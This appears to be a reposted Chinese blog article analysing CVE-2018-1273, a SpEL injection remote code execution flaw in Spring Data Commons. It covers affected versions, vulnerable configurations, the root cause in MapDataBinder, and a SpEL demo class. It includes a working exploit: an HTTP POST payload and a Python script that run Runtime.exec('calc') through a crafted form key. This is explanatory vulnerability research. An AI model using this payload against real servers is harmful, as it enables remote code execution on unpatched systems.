您好,登錄后才能下訂單哦!
Spring-data-commons CVE-2018-1273的漏洞分析是怎樣的,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
CVE-2018-1273 是 Spring-data-commons近期爆出的一個可遠程執行代碼的漏洞,為了了解更多細節,本文將從漏洞的成因,漏洞的判定以及漏洞的利用三個方面來進行詳細說明。
當用戶在項目中利用了Spring-data的相關web特性對用戶的輸入參數進行自動匹配的時候,會將用戶提交的form表單的key值作為Spel的執行內容,而這一步就是本次漏洞的爆發點。
確認目標項目中含有Spring-data-commons包并且版本范圍如下
Spring Data Commons 1.13 to 1.13.10 Spring Data Commons 2.0 to 2.0.5
查看相關特性是否已經開啟
1.@EnableSpringDataWebSupport 被顯示聲明
2.@EnableSpringDataWebSupport 沒有顯示聲明,但采用了spring-boot框架的自動掃描特性 當采用Spring-boot的自動掃描特性的時候,在啟動時會自動加載 SpringDataWebConfiguration類效果與上述相同
3.在非注解聲明項目中,如果有如下聲明,也視為開啟了相關的特性
<bean class="org.springframework.data.web.config.SpringDataWebConfiguration" />
檢查帶@RequestMapping的接口,方法的參數為一個自定義的接口(Interface)
滿足如上條件的靶子代碼如下
@SpringBootApplication public class App { public static void main(String[] args) { SpringApplication.run(App.class); } @Controller public class TestController { @RequestMapping("test") public void CVEController(TestForm testForm){ System.out.println(testForm.getName()); } } interface TestForm { String getName(); } }
根據上述判定出來的漏洞點,我們可以構造如下攻擊代碼
1.構建一個Http的Post請求2.利用form表單提交的方式來提交我們的key value3.在key的名稱中包含此次攻擊代碼4.提交的key為上文的 getName() 方法的 name5.在name后面補上一段Spel支持的代碼片段,key將變成如 name[T(java.lang.Runtime).getRuntime().exec("calc")]
最終playload如下
POST /test HTTP/1.1 Host: 127.0.0.1:8080 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache name%5BT(java.lang.Runtime).getRuntime().exec(%22calc%22)%5D=v
用python寫的簡單腳本如下
import http.client, urllib.parse command = "calc.exe" key = 'name[T(java.lang.Runtime).getRuntime().exec("%s")]' % command params = urllib.parse.urlencode({key: 'v'}) headers = {"Content-type": "application/x-www-form-urlencoded"} conn = http.client.HTTPConnection(host="localhost",port=8080) conn.request("POST", "/test", params, headers) conn.close()
總而言之當滿足漏洞條件時,只需要發送一個特定的key就可以了
本次漏洞的成因,主要在于Spring在自動解析用戶的參數的時候采用了 SpelExpressionParser 來解析propertyName
MapDataBinder.java 169行
Expression expression = PARSER.parseExpression(propertyName); PropertyPath leafProperty = getPropertyPath(propertyName).getLeafProperty(); TypeInformation<?> owningType = leafProperty.getOwningType(); TypeInformation<?> propertyType = owningType.getProperty(leafProperty.getSegment()); propertyType = propertyName.endsWith("]") ? propertyType.getActualType() : propertyType; if (conversionRequired(value, propertyType.getType())) { PropertyDescriptor descriptor = BeanUtils .getPropertyDescriptor(owningType.getType(), leafProperty.getSegment()); MethodParameter methodParameter = new MethodParameter(descriptor.getReadMethod(), -1); TypeDescriptor typeDescriptor = TypeDescriptor.nested(methodParameter, 0); value = conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor); } expression.setValue(context, value);
那么這個MapMapDataBinder是怎么被調用起來的呢,我們簡要地說一下 SpringMVC在解析參數這個部分
SpringDataWebConfiguration 類的特性被啟用的時候,會將 ProxyingHandlerMethodArgumentResolver 注冊到容器中去
當SpringMVC得到一個請求的時候,會遍歷容器中注冊的 HandlerMethodArgumentResolver 調用他們的supportsParameter方法。由于我們的參數是一個Interface(接口),那么 ProxyingHandlerMethodArgumentResolver 就會告訴調用方,它支持這個參數的解析即 supportsParameter 會返回true,但在實際中還會有多個判斷比如該接口不能是java包下的,也不能是org.springframework包下的
ProxyingHandlerMethodArgumentResolver在拿到參數的時候會創建一個MapDataBinder來解析參數MapDataBinder.bind()方法,會連帶進行doBind操作,最終會調用到 setPropertyValue 方法來,最后在 expression.setValue(context, value) 的時候觸發了漏洞
SPEL全稱Spring Expression Language,簡要翻譯就是Spring自帶的表達式語言,如代碼所示Spring提供以下特性
public class SpelExample { public static void main(String[] args) { SpelExample spelExample=new SpelExample(); spelExample.supportValue(); spelExample.supportClassMethod(); spelExample.supportProperty(); spelExample.supportArray(); spelExample.supportCustomIndex(); spelExample.supportCustomProperty(); spelExample.runPlayLoad(); } /* * 支持一個值 * */ public void supportValue(){ SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true)); Expression exp = parser.parseExpression("'this is a value'"); System.out.println(exp.getValue()); // this is a value } /* 支持執行一個java類的方法 */ public void supportClassMethod(){ SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true)); Expression exp = parser.parseExpression("T(java.lang.Math).random() * 100.0"); System.out.println(exp.getValue());//返回一個隨機數 } /* * 支持對目標對象進行賦值 * */ public void supportProperty(){ SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true)); Expression exp = parser.parseExpression("name='set my value'"); MockClass mockClass=new MockClass(); exp.getValue(mockClass); System.out.println(mockClass.name); //set my value } /** * 如果屬性是一個數組也支持 * */ public void supportArray(){ SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true)); //T(java.lang.Math.abs(0)) 會返回0 Expression exp = parser.parseExpression("list[0]='list value'"); MockClass mockClass=new MockClass(); exp.getValue(mockClass); System.out.println(mockClass.list[0]);//list value } /** * 數組的下標也是可以利用表達式求得 * 注釋:這里就是惡意代碼能執行的關鍵 * */ public void supportCustomIndex(){ SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true)); Expression exp = parser.parseExpression("list[T(java.lang.Math).abs(0)]='index is 0'"); MockClass mockClass=new MockClass(); exp.getValue(mockClass); System.out.println(mockClass.list[0]);//index is 0 } /* * 也可以獲取一個數組屬性的指定下標的值 * 這里就是上述漏洞利用的地方 * */ public void supportCustomProperty(){ SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true)); //獲取目標對象list屬性中下標為1的值 Expression exp = parser.parseExpression("list[T(java.lang.Math).abs(1)]"); MockClass mockClass=new MockClass(); System.out.println(exp.getValue(mockClass));// 輸出 1, } /** * 執行我們的代碼,拉起計算器 * */ public void runPlayLoad(){ SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true)); //獲取目標對象list屬性中下標為1的值 Expression exp = parser.parseExpression("list[[T(java.lang.Runtime).getRuntime().exec(\"calc\")]]"); MockClass mockClass=new MockClass(); System.out.println(exp.getValue(mockClass));// 輸出 1, } class MockClass{ //只有聲明為public才能被賦值 public String name; public String[] list=new String[]{"0","1"}; } }
看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。